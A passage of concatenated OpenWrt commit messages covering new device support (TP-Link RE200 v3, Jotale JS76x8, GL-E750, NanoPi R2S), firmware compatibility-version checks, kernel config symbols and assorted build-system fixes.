architectures are available when building Docker containers or show
developers an overview which architectures are used by which target.
It's called with either the parameter `architectures` or `targets`,
showing architectures followed by supported targets or targets, followed
by the supported architectures:
$ ./scripts/dump-target-info.pl architectures
aarch64_cortex-a53 bcm27xx/bcm2710 mediatek/mt7622 mvebu/cortexa53 sunxi/cortexa53
aarch64_cortex-a72 bcm27xx/bcm2711 mvebu/cortexa72
...
$ ./scripts/dump-target-info.pl targets
apm821xx/nand powerpc_464fp
apm821xx/sata powerpc_464fp
...
In the future the the script could be removed from the buildbot
repository and maintained only here.
Rename `dumpinfo.pl` to `dump-target-info.pl` to improve verbosity of
filename.
[0]: https://git.openwrt.org/?p=buildbot.git;a=blob;f=scripts/dumpinfo.pl;h=aa97f8d60379076a41b968402e9337cea824ece5;hb=HEAD
Signed-off-by: Paul Spooren <mail@aparcar.org>
TP-Link RE200 v3 is a wireless range extender with Ethernet and 2.4G and 5G
WiFi with internal antennas. It's based on MediaTek MT7628AN+MT7610EN like the v2.
Specifications
--------------
- MediaTek MT7628AN (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 2T2R 2.4 GHz and 1T1R 5 GHz
- 1x 10/100 Mbps Ethernet
- 8x LED (GPIO-controlled), 2x button
Unverified:
- UART header on PCB (57600 8n1)
There are 2.4G and 5G LEDs in red and green which are controlled
separately.
MAC addresses
-------------
MAC address assignment has been done according to the RE200 v2.
The label MAC address matches the OpenWrt ethernet address.
Installation
------------
Web Interface
-------------
It is possible to upgrade to OpenWrt via the web interface. Simply flash
the -factory.bin from OEM. In contrast to a stock firmware, this will not
overwrite U-Boot.
Recovery
--------
Unfortunately, this devices does not offer a recovery mode or a tftp
installation method. If the web interface upgrade fails, you have to open
your device and attach serial console.
The device has not been opened for adding support. However, it is expected
that the behavior is similar to the RE200 v2. Instructions for serial console
and recovery may be checked out in commit 6d6f36ae78 ("ramips: add support
for TP-Link RE200 v2") or on the device's Wiki page.
Signed-off-by: Richard Fröhning <misanthropos@gmx.de>
[adjust commit title/message, sort support list]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* compat: rhel 8.3 beta removed nf_nat_core.h
* compat: ipv6_dst_lookup_flow was ported to rhel 7.9 beta
This compat tag adds support for RHEL 8.3 beta and RHEL 7.9 beta, in addition
to RHEL 8.2 and RHEL 7.8. It also marks the first time that
<https://www.wireguard.com/build-status/> is all green for all RHEL kernels.
After quite a bit of trickery, we've finally got the RHEL kernels building
automatically.
* compat: allow override of depmod basedir
When building in an environment with a different modules install path, it's
not possible to override the depmod basedir flag by setting the DEPMODBASEDIR
environment variable.
* compat: add missing headers for ip_tunnel_parse_protocol
This fixes compilation with some unusual configurations.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
For the TP-Link 4M devices with tplink-v2-image recipe
(mktplinkfw2.c), there are two different flash layouts based
on the size of the (u)boot partition:
device uboot OEM firmware OpenWrt (incl. config)
tl-wr840n-v5 0x20000 0x3c0000 0x3d0000
tl-wr841n-v14 0x10000 0x3d0000 0x3e0000
In both cases, the 0x10000 config partition is used for the firmware
partition as well due to the limited space available and since it's
recreated by the OEM firmware anyway.
However, the TFTP flashing process will only copy data up to the
size of the initial (OEM) firmware size. Therefore, while we can
use the bigger partition to have additional erase blocks on the
device, we have to limit the image sizes to the TFTP limits.
So far, only one layout definition has been set up in mktplinkfw2.c
for 4M mediatek devices. This adds a second one and assigns them
to the devices so the image sizes are correctly restrained.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since most of the DTS file names follow a common scheme now, let's
update the automatically generated DEVICE_DTS value and get rid
of some DEVICE_DTS and all BOARD_NAME entries for individual devices.
This should specifically make the job easier for developers adding
new devices, as they are not tempted to copy over BOARD_NAME anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We currently support four versions of binutils in parallel. Let's
just keep the latest two and drop the older ones before the next
one comes around.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ifconfig is effectively deprecated for quite some time now. Let's
replace the remaining occurrences for packages by the
corresponding ip commands now.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ifconfig is effectively deprecated for quite some time now. Let's
replace the remaining occurrences for our target setup by the
corresponding ip commands now.
Note that this does not touch ar71xx, as it will be dropped anyway,
and changing it would only make backports harder.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Instead of just printing a warning that an image is too big, also
print both actual size and limit in the string:
WARNING: Image file somename.bin is too big: 2096101 > 1048576
Since the kernel size is checked via the same function (if
KERNEL_SIZE is specified), this will also apply to the kernel
image size check.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Commit 1bfbf2de6d ("ar71xx: serial: core: add support for boot console
with arbitrary baud rates") added support for arbitrary baud rates which
enabled 250000 baud rate for Yun. But the patch was not ported to kernel
4.9, and since then the kernel set its baud rate to 9600. This commit ports
the patch to kernel 4.14, thereby restoring the serial console of Yun.
Cc: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Commit 05d73a2a73 enabled GPIO on ethernet LED, but proper LED setup was
not added then. This commit fixes it by reverting the change on the LED.
Fixes: 05d73a2a73 ("ar71xx: Arduino Yun board 'WLAN RST' button support")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Commit bb46b635df changed its partition scheme, but sysupgrade image
validation still uses the old format. This commit fixes it so that
force flag is not needed for sysupgrade.
Fixes: bb46b635df ("ar71xx: move Arduino Yun to generic building code")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This reverts commit 077253dd66.
The output enable pins should be disabled by default, and only enabled when
used. Otherwise unwanted conflicts might occur between MCU and SoC pins.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The recipe check-kernel-size is not used in the entire tree. Instead,
we already check the size of the kernel image in Device/Build/kernel
in image.mk via check-size function if KERNEL_SIZE is defined.
Therefore, drop the function. Using it would be redundant anyway.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current LICENSE file contains some form feed (FF) characters instead
of recently popular line feed (LF) characters. Also update to the latest
address of the Free Software Foundation. Lastly center some captions, as
suggested by the official GNU LICENSE distribution[0].
Historical changes of GPL-2.0 LICENSE file are availalbe[1].
[0]: https://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
[1]: https://github.com/pombredanne/gpl-history
Signed-off-by: Paul Spooren <mail@aparcar.org>
checkpatch.pl uses a list of files to detect the root OpenWrt
directory. This includes README, which has been renamed to
README.md in the previous commit.
Update the file name in checkpatch.pl to prevent errors like the
following when running the script:
Must be run from the top-level dir. of a OpenWrt tree
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The README is no longer important to only developers but also users.
Reflect that by adding valuable information for everyone new to OpenWrt!
Sunshine
Signed-off-by: Paul Spooren <mail@aparcar.org>
[remove trailing whitespace and empty line at EOF]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Move the image preparation and nand-utils package selection into
common device definitions for NOR/NAND devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Update the openvpn sample configurations to use modern options in favor
of deprecated ones, suggest more sane default settings and add some
warnings.
* Add tls_crypt and ncp_disable to the sample configuration
* Replace nsCertType with remote_cert_tls in client sample configuration
* Comment out "option compress", compression should not be preferred
* Advise 2048-bit Diffie-Hellman parameters by default
* Add warnings about compression and use of Blowfish (BF-CBC)
Signed-off-by: Magnus Kroken <mkroken@gmail.com>
The wg utility compiles and runs without issues in MIPS16 mode, despite setting
PKG_USE_MIPS16:=0 in the makefile. Let's remove this, allowing for a substantial
size reduction of the wg executable. Since wg is a just a configuration utility,
it shouldn't be performance-critical, as the crypto heavy-lifting is done on the
kernel side.
wg sizes for both modes:
MIPS32: 64309 bytes
MIPS16: 42501 bytes
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
>From an email conversation with the person responsible for upstreaming
the exFAT driver, it seems the staging one in kernel 5.4 is not so
good. Excerpts below.
Namjae Jeon:
Hm... exfat in 5.4 kernel that we did crap shit long time ago is
contributed by someone who we don't know.
This version is unstable and low quality code. We have been improving
it continuously.
and staging version exfat is removed from linux 5.7 kernel.
linux exfat oot version is a backport of exfat in linux 5.7 kernel to
support lower version kernel, and it is a real.
You can see the patch history fro linux-exfat-oot.
this version support timezone and boot sector verification feature newly.
and better filesystem structure and much clean code quality that
reviewed by high profile kernel developers. and add many bug fixes.
And this version is officially maintained by me and kernel guys.
I would not recommend to use staging exfat version.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Enabling KERNEL_TRANSPARENT_HUGEPAGE exposes 2 missing symbols:
* CONFIG_READ_ONLY_THP_FOR_FS
* TRANSPARENT_HUGEPAGE_ALWAYS
* TRANSPARENT_HUGEPAGE_MADVISE
The first one was added in 5.4, and is marked experimental there so just
disable it in the generic config.
For the latter two, we should not force the user to use either of them,
so add them as build-configurable kernel options.
Fixes: d1a8217d87 ("kernel: clean-up build-configurable kernel config symbols")
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
This symbol is exposed on ARM64 with EFI enabled in the kernel config.
Currently this happens only on ipq807x, but as there might be new ARM64
targets with EFI in the future it is better to add the symbol to the
generic config.
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
Acked-by: Jo-Philipp Wich <jo@mein.io>
It was removed from target defaults though it didn't exist in the
build-systems kernel configuration options. Add it there.
Fixes: d1a8217d87 ("kernel: clean-up build-configurable kernel config symbols")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Don't kill the wireless daemon on teardown. hostapd as well as
wpa_supplicant are managed by procd which would detect the shutdown of
either process as a crash loop.
Signed-off-by: David Bauer <mail@david-bauer.net>
When retrieving the PID for hostapd and wpa_supplicant via ubus the
wrong service name is currently used. This leads to the following error
in the log:
netifd: radio0 (1409): WARNING (wireless_add_process):
executable path /usr/sbin/wpad does not match process path (/proc/exe)
Fixing the service name retrieves the correct PID and therefore the
warning won't occur.
Signed-off-by: David Bauer <mail@david-bauer.net>
Sometimes when using the DNS-313 memory usage can peak and
with a simple swap partition we can avoid running into the
roof and invoking the OOM killer. Set this partition to
128MB (twice the size of the memory of the DNS-313).
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
The compressed image that the buildbots are building is too large for
the netgear uboot and it crashes and soft-bricks the device.
| Uncompressing Kernel Image ...
| LZMA: uncompress or overwrite error 1 - must RESET board to recover
The whole target likely needs to be switched zImage which is a major
hassle due to powerpc's legacy bootwrapper setup as compared to ARM.
So for now, disable the device.
Reported-by: Wiktor Stasiak (FS#3258)
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This replaces the internal device names "Audi" and "Viper" with the
real model names, which a user would look for. This makes the
Linksys devices on this target consistent with the names recently
changed for mvebu based on the same idea.
As a consequence, the "viper" device definition is split into two
separate definitions with the correct names for both real models.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Explicitly mount the BPF filesystem if available. This is used for pinning
eBPF programs and maps, making them accessible to other eBPF programs or
from userspace with the help of libbpf or bpftool.
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
[daniel@makrotopia.org: bumped PKG_RELEASE]
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Kernel v5.1 included an eBPF JIT for MIPS32 kernels, but problems were
discovered [1] and the changes later reverted in kernel v5.5 with commits:
* f8fffebdea75 ("MIPS: BPF: Disable MIPS32 eBPF JIT")
* 36366e367ee9 ("MIPS: BPF: Restore MIPS32 cBPF JIT")
Only the first of these was backported to LTS kernel 5.4, leaving cBPF
programs without a JIT and introducing a performance regression for any
such users e.g. libpcap, tcpdump, etc.
Restore cBPF performance by backporting the second commit above:
* 070-v5.5-MIPS-BPF-Restore-MIPS32-cBPF-JIT.patch
[1] https://lore.kernel.org/bpf/20191205182318.2761605-1-paulburton@kernel.org/
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
The current selection of DRIVER_MAKEOPTS and TARGET_LDFLAGS is
exceptionally hard to read. This tries to make things a little
easier by inverting the hierarchy of the conditions, so SSL_VARIANT
is checked first and LOCAL_VARIANT is checked second.
This exploits the fact that some of the previous conditions were
unnecessary, e.g. there is no hostapd-mesh*, so we don't need
to exclude this combination.
It also should make it a little easier to see which options are
actually switched by SSL_VARIANT and which by LOCAL_VARIANT.
The patch is supposed to be cosmetic.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When changing the Pro variant to DSA, the ethernet interface rename
script was dropped by all devices to keep them in sync:
be309bfd74 ("mvebu: drop 06_set_iface_mac preinit script")
Therefore, network config will be broken after upgrade for the
Base variant as well. Increase the compat version and provide a
message to signal that to the users.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This implements the newly introduced compat-version to prevent
upgrade between swconfig and DSA for kirkwood.
Just define a compat version with minor increment and an appropriate
message for both image (in Makefile) and device (in base-files).
Since we never removed SUPPORTED_DEVICES for this target, we don't
have to add it back either.
Attention:
All users that already updated to the DSA versions in master will
receive the same incompatibility warning since their devices are still
"1.0" as far as fwtool can tell.
Those, and only those, can bypass the upgrade check by using force (-F)
without having to reset config again. In addition, the new version
string needs to be put into uci config manually, so the new fwtool
knows that it actually deals with a "1.1":
uci set "system.@system[-1].compat_version=1.1"
uci commit system
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This implements the newly introduced compat-version to prevent
upgrade between swconfig and DSA for mvebu.
Just define a compat version with minor increment and an appropriate
message for both image (in Makefile) and device (in base-files).
Having taken care of sysupgrade, we can put back the SUPPORTED_DEVICES
that have been removed in previous patches to prevent broken config.
Attention:
All users that already updated to the DSA versions in master will
receive the same incompatibility warning since their devices are still
"1.0" as far as fwtool can tell.
Those, and only those, can bypass the upgrade check by using force (-F)
without having to reset config again. In addition, the new version
string needs to be put into uci config manually, so the new fwtool
knows that it actually deals with a "1.1":
uci set "system.@system[-1].compat_version=1.1"
uci commit system
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, the compatibility mechanism only works if both device and
image are already updated to the new routines. This patch extends
the sysupgrade metadata and fwtool_check_image() to account for
"older" images as well:
The basic mechanism for older devices to check for image compatibility
is the supported_devices entry. This can be exploited by putting
a custom message into this variable of the metadata, so older FW
will produce a mismatch and print the message as it thinks it's the
list of supported devices. So, we have two cases:
device 1.0, image 1.0:
The metadata will just contain supported_devices as before.
device 1.0, image 1.1:
The metadata will contain:
"new_supported_devices":["device_string1", "device_string2", ...],
"supported_devices":["Image version 1.1 incompatible to device: ..."]
If the device is "legacy", i.e. does not have the updated fwtool.sh,
it will just fail with image check and print the content of
supported_devices. If DEVICE_COMPAT_MESSAGE is set, this will be
printed on old devices as well through the same mechanism. Otherwise
a generic "Please check documentation ..." is appended.
Upgrade can still be performed with -F like when
SUPPORTED_DEVICES has been removed to prevent bricking.
If the device has updated fwtool.sh (but is 1.0), it will just use
the new_supported_devices instead, and work as intended (flashing
with -n will work, flashing without will print the appropriate
warning).
This mechanism should provide a fair tradeoff between simplicity
and functionality.
Since we touched a lot of fields in metadata, this also bumps
metadata_version to 1.1.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We regularly encounter the situation that devices are subject to
changes that will make them incompatible to previous versions.
Removing SUPPORTED_DEVICES will not really be helpful in most of these
cases, as this only helps after a rename.
To solve this situation, this patchset introduces a compatibility
version for devices. In this patch, the actual checks are implemented
into fwtool_check_image():
If an incompatible change is introduced, one can increase either
the minor version (1.0->1.1) or the major version (1.0->2.0).
Minor version increment:
This will still allow sysupgrade, but require to reset config
(-n or SAVE_CONFIG=0). If sysupgrade is called without -n, a
corresponding message will be printed. If sysupgrade is called
with -n, it will just pass, with supported devices being checked
as usual. (Which will allow us to add back SUPPORTED_DEVICES for
many cases.)
Major version increment:
This is meant for potential (rare) cases where sysupgrade is
not possible at all, because it would break the device.
In this case, a warning will be printed, and -n won't help.
If image check fails because of one of the versions parts not
matching, the content of DEVICE_COMPAT_MESSAGE is printed in
addition to the generic message (if set).
For both cases, upgrade can still be forced with -F as usual.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We regularly encounter the situation that devices are subject to
changes that will make them incompatible to previous versions.
Removing SUPPORTED_DEVICES will not really be helpful in most of these
cases, as this only helps after a rename.
To solve this situation, this patchset introduces a compatibility
version for devices. To complement the DEVICE_COMPAT_VERSION set
for the image to be flashed, this implements a compat_version on
the device, so it will have something to compare with the image.
The only viable way to achieve this seems to be via board.d files,
i.e. this is technically adding a compat version for the device's
config.
Like for the network setup, this will set up a command
ucidef_set_compat_version to set the compat_version in board.d.
This will then add a string to /etc/board.json, which will be
translated into uci system config by bin/config_generate.
By this, the compat_version, being a version of the config, will
also be exposed to the user.
As with DEVICE_COMPAT_VERSION, missing uci entry will be assumed
as compat_version "1.0", so we only need to add this if a device
needs to be bumped, e.g.
ucidef_set_compat_version "1.1"
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We regularly encounter the situation that devices are subject to
changes that will make them incompatible to previous versions.
Removing SUPPORTED_DEVICES will not really be helpful in most of these
cases, as this only helps after a rename.
To solve this situation, this patchset introduces a compatibility
version for devices. It will be implemented via a per-device
Make variable DEVICE_COMPAT_VERSION, which will be set to 1.0
globally by default and then can be overwritten as needed.
Furthermore, a variable DEVICE_COMPAT_MESSAGE is added, where
a message to be displayed during sysupgrade may be specified
optionally.
This patch only implements the build variables and adds them
to the sysupgrade metadata, the evaluation will be addressed
in a subsequent patch.
To set it, one would just need to add the following to a device node:
define Device/somedevice
...
DEVICE_COMPAT_VERSION := 1.1
DEVICE_COMPAT_MESSAGE := Config cannot be migrated from swconfig to DSA
endef
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds support for the Jotale JS76x8 series development boards.
These devices have the following specifications:
- SOC: MT7628AN/NN, MT7688AN, MT7628DAN
- RAM of MT7628AN/NN and MT7688AN: 64/128/256 MB (DDR2)
- RAM of MT7628DAN: 64 MB (DDR2)
- FLASH:8/16/32 MB (SPI NOR)
- Ethernet:3x 10/100 Mbps ethernet ports (MT76x8 built-in switch)
- WIFI:1x 2T2R 2.4 GHz Wi-Fi
- LEDs:1x system status green LED, 1x wifi green LED,
3x ethernet green LED
- Buttons:1x reset button
- 1x microSD slot
- 4x USB 2.0 port
- 1x mini-usb debug UART
- 1x DC jack for main power (DC 5V)
- 1x TTL/RS232 UART
- 1x TTL/RS485 UART
- 13x GPIO header
- 1x audio codec(wm8960)
Installation via OpenWrt:
The original firmware is OpenWrt, so both LuCI and sysupgrade can be used.
Installation via U-boot web:
1. Power on board with reset button pressed, release it
after wifi led start blinking.
2. Setup static IP 192.168.1.123/4 on your PC.
3. Go to 192.168.1.8 in browser and upload "sysupgrade" image.
Installation via U-boot tftp:
1. Connect to serial console at the mini usb, which has been connected to UART0
on board (115200 8N1)
2. Setup static IP 192.168.1.123/4 on your PC.
3. Place openwrt-firmware.bin on your PC tftp server (192.168.1.123).
3. Connect one of LAN ports on board to your PC.
4. Start terminal software (e.g. screen /dev/ttyUSB0 115200) on PC.
5. Apply power to board.
6. Interrupt U-boot with keypress of "2".
7. At u-boot prompts:
Warning!! Erase Linux in Flash then burn new one. Are you sure?(Y/N) Y
Input device IP (192.168.1.8) ==:192.168.1.8
Input server IP (192.168.1.123) ==:192.168.1.123
Input Linux Kernel filename (root_uImage) ==:openwrt-firmware.bin
8. board will download file from tftp server, write it to flash and reboot.
Signed-off-by: Robinson Wu <wurobinson@qq.com>
[add license to DTS files, fix state_default and reduce to the mimimum,
move phy0tpt trigger to DTS, drop ucidef_set_led_timer, fix network ports]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When selecting a channel below 100 on the 5GHz radio, the channel will
be detected as busy all the time.
Survey data from wlan1
frequency: 5240 MHz [in use]
channel active time: 165729 ms
channel busy time: 158704 ms
channel transmit time: 0 ms
Channels 100 and above work fine:
Survey data from wlan1
frequency: 5500 MHz
channel active time: 133000 ms
channel busy time: 21090 ms
channel transmit time: 0 ms
Limit the available channels, so users do not have the impression
their device is broken.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds the newly introduced BROKEN flag to a bunch of devices
that previously just had TARGET_DEVICES commented out. By this, we
can select them in make menuconfig when BROKEN developer config option
is selected, instead of having to edit the code.
In contrast to DEFAULT := n, this is meant to cover devices that
don't boot or don't compile at all.
ath25: np25g, wpe53g
both disabled during kernel bump 3.18->4.4 without reason given
f89a20a89a ("ath25: update kernel from 3.18 to 4.4")
bcm53xx: linksys-ea6300-v1, linksys-ea9200, linksys-ea9500
broken due to insufficient/broken TRX support
55ff15cfd5 ("bcm53xx: disable building Linksys EA6300 V1 image")
cd0f9900a4 ("bcm53xx: parepare for building more Linksys images")
bcm63xx: tplink-archer-c5-v2, tplink-archer-c9-v1
disabled when kernel 5.4 support was added, probably broken
50c6938b95 ("bcm53xx: add v5.4 support")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
[limit to subset of devices, use BROKEN, adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
By specifying "BROKEN := 1" or "BROKEN := y" for a device, it will be
hidden (and deselected) by default. By that, it provides a stronger
option to "disable" a device beyond just using DEFAULT := n.
To make these devices visible, just enable the BROKEN option in
developer settings as already implemented for targets and packages.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This uses DEFAULT := n on a bunch of devices that previously were
"disabled" by commenting out TARGET_DEVICES. This will allow to
build them without having to modify the code, but they will not
be selected for default build or buildbots.
The change is applied to all devices that are not "broken", but suffer
from image site limitations or similar, or have been added in the past
but never confirmed to run on the device properly:
at91: at91-q5xr5:
kernel image too big
31aeae0774 ("at91: do not build image for at91-q5xr5")
bcm47xx: asus-rt-ac66u:
disabled since it was added in 2015
69aefc771f ("brcm47xx: build images for Asus devices")
bcm47xx: netgear-wndr3400-vcna, netgear-wnr3500u, netgear-wnr3500-v2-vc
added disabled in 2012, but never confirmed to work on devices
5dec9dd3b2 ("brcm47xx: add code to generate images for some netgear
devices")
bcm53xx: netgear-r8500
added disabled: "start working on Netgear R8500"
3b76c7cf0b ("bcm53xx: start working on Netgear R8500")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
[limit to subset of devices, adjust commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
28be011 instance: make sure values are not inherited from previous runs
2ae5cbc uxc: remove debugging left-over
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Don't explicitely disable options in target/linux/generic/config-* if
they are already controlled in config/Config-kernel.in.
Add a bunch of new symbols and prepare defaults for using only unified
hierarchy (ie. cgroup2). Update symbol dependencies while at it
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
For a few packages, the current TITLE is too long, so it is not
displayed at all when running make menuconfig. Despite, there is
no indication of OpenSSL vs. wolfSSL in the titles.
Thus, this patch adjusts titles to be generally shorter, and adds
the SSL variant to it.
While at it, make things easier by creating a shared definition for
eapol-test like it's done already for all the other flavors.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Drop outdated and by now broken patchset originally supplied by
Peter Oh in August 2018 but never merged upstream.
Instead add the more promissing rework recently submitted by
Markus Theil who picked up Peter's patchset, fixed and completed it
and added support for HE (802.11ax) in mesh mode.
This is only compile tested and needs some real-life testing.
Fixes: FS#3214
Fixes: 167028b750 ("hostapd: Update to version 2.9 (2019-08-08)")
Fixes: 0a3ec87a66 ("hostapd: update to latest Git hostap_2_9-1238-gdd2daf0848ed")
Fixes: 017320ead3 ("hostapd: bring back mesh patches")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The gl-e750 is a portable travel router that gives you safe access to
the internet while traveling.
Specifications:
- SoC: Qualcomm Atheros AR9531 (650MHz)
- RAM: 128 MB DDR2
- Flash: 16 MB SPI NOR (W25Q128FVSG) + 128 MB SPI NAND (GD5F1GQ4UFYIG)
- Ethernet: 10/100: 1xLAN
- Wireless: QCA9531 2.4GHz (bgn) + QCA9887 5GHz (ac)
- USB: 1x USB 2.0 port
- Switch: 1x switch
- Button: 1x reset button
- OLED Screen: 128*64 px
MAC addresses based on vendor firmware:
LAN *:a0 art 0x0
2.4GHz *:a1 art 0x1002
5GHz *:a2 art calculated from art 0x0 + 2
Flash firmware:
Since openwrt's kernel already exceeds 2MB, upgrading from the official
version of GL-inet (v3.100) using the sysupgrade command will break the
kernel image. Users who are using version 3.100 can only upgrade via
uboot. The official guidance for GL-inet is as follows:
https://docs.gl-inet.com/en/3/troubleshooting/debrick/
In the future, GL-inet will modify the firmware to support the sysupgrade
command, so users will be able to upgrade directly with the sysupgrade
command in future releases.
OLED screen control:
OLED controller is connected to QCA9531 through serial port, and can send
instructions to OLED controller directly through serial port.
Refer to the links below for a list of supported instructions:
https://github.com/gl-inet/GL-E750-MCU-instruction
Signed-off-by: Luochongjun <luochongjun@gl-inet.com>
[fix alphabetic sorting in 10-fix-wifi-mac, drop check-kernel-size]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The toolchain packages partly contain local code like patches and
configuration files. These files are not tracked via PKG_VERSION as this
variable only covers the upstream package version.
To allow versioning of the buildsystem, this commit adds PKG_RELEASE:=1
to all toolchain packages with local files. Whenever a local file is
changed the release must be increased.
This does not touch binutils and gcc for now, as these provide multiple
versions within one package.
Also update the copyright of touched files to 2020.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[exclude binutils/gcc from patch, adjust commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It has been decided that the 19.07 release will be last one to include
4/32 devices.
This disables default build for all devices with 4M flash on lantiq.
Note that this will affect _all_ devices for amazonse ("ase") and
xway_legacy subtarget.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
It has been decided that the 19.07 release will be last one to include
4/32 devices.
This disables default build for the remaining devices with 4M flash
on ath79. Note that this will leave exactly one enabled device for
ath79/tiny subtarget, PQI Air-Pen, which was moved there due to
kernel size restrictions.
All 4M TP-Link devices have already been disabled in
8819faff47 ("ath79: do not build TP-Link tiny images by default")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Netgear currently has a special definition for tiny devices, which
is only used by two devices. Despite, it sets ups the IMAGE/default
definition individually for all devices, although there is actually
only one exception.
This merges the common parts into a single netgear_generic definition
(in contrast to netgear_ath79_nand), and adjusts the individual
definitions accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
c3ca99f jail: serialize hook execution
8ff8970 jail: add some remaining OCI features
9d5fa0a uxc: behave more like a compliant OCI run-time
1274033 uxc: fix create operation
2d811a4 jail: add 'kill' method to container.%s object
08133b8 uxc: use new container.%s kill ubus API
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This adds a hotplug script for distributing interrupts of eth0 and eth1
across different cores. Otherwise the forwarding performance between
eth0 and eth1 is severely affected.
The existing SMP distribution mechanic in OpenWrt can't be used here, as
the actual device IRQ has to be moved to dedicated cores. In case of
eth1, this is in fact the USB3 controller.
Signed-off-by: David Bauer <mail@david-bauer.net>
Some rockchip SoCs like the RK3399 and RK3328 exhibit an issue
where tx checksumming does not work with packets larger than 1498.
The default Programmable Buffer Length for TX in these GMAC's is
not suitable for MTUs higher than 1498. The workaround is to disable
TX offloading with 'ethtool -K eth0 tx off rx off' causing performance
impacts as it disables hardware checksumming.
This patch sets snps,txpbl to 0x4 which is a safe number tested ok for
the most popular MTU value of 1500.
For reference, see https://lkml.org/lkml/2019/4/1/1382.
Signed-off-by: Carlos de Paula <me@carlosedp.com>
Link: https://lore.kernel.org/r/20200218221040.10955-1-me@carlosedp.com
Signed-off-by: Heiko Stuebner <heiko@sntech.de>
Signed-off-by: David Bauer <mail@david-bauer.net>
Hardware
--------
RockChip RK3328 ARM64 (4 cores)
1GB DDR4 RAM
2x 1000 Base-T
3 LEDs (LAN / WAN / SYS)
1 Button (Reset)
Micro-SD slot
USB 2.0 Port
Installation
------------
Uncompress the OpenWrt sysupgrade and write it to a micro SD card using
dd.
MAC-address
-----------
The vendor code supports reading a MAC address from an EEPROM connected
via i2c0 of the SoC. The EEPROM (address 0x51) should contain the MAC
address in binary at offset 0xfa. However, my two units didn't come with
such an EEPROM soldered on. The EEPROM should be placed between the SoC
and the GPIO pins on the board. (U10)
Generating rendom MAC addresses works around this issue. Otherwise, all
boards running the same image have identical MAC addresses.
Signed-off-by: David Bauer <mail@david-bauer.net>
Add support for select a bootscript depending on the device built. This
is necessary, as the FriendlyARM NanoPi R2S needs a different bootcmd in
order to produce output on the debug UART.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds a function for generating a valid random MAC address (unset MC
bit / set locally administered bit).
It is necessary for devices which do not have a MAC address programmed
by the manufacturer.
Signed-off-by: David Bauer <mail@david-bauer.net>
Update the U-Boot to version v2020.07. Also replace the Makefile rewrite
with a proper patch, explaining why this hack is needed.
Run-tested: FriendlyARM NanoPi R2S
Signed-off-by: David Bauer <mail@david-bauer.net>
also install the firmware for all the supported boards
Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
[fix ATF blob path in uboot-rockchip]
Signed-off-by: David Bauer <mail@david-bauer.net>
Update config with make kernel_oldconfig and copy/refresh patch.
Add CONFIG_WATCHDOG_CORE=y to fix the following error as done for
several targets already:
Package kmod-hwmon-sch5627 is missing dependencies for the following
libraries:
watchdog.ko
Directly switch to kernel 5.4.
This patch is compile-tested only. However, the target is essentially
pure upstream with a single patch, and it has been reported that
kernel 5.4 has been run on this target successfully already.
Note that in my local tests building with all packages/kmods failed
since openvswitch selects libunwind, which doesn't build for arc with
the following error:
checking if we should build libunwind-ptrace... yes
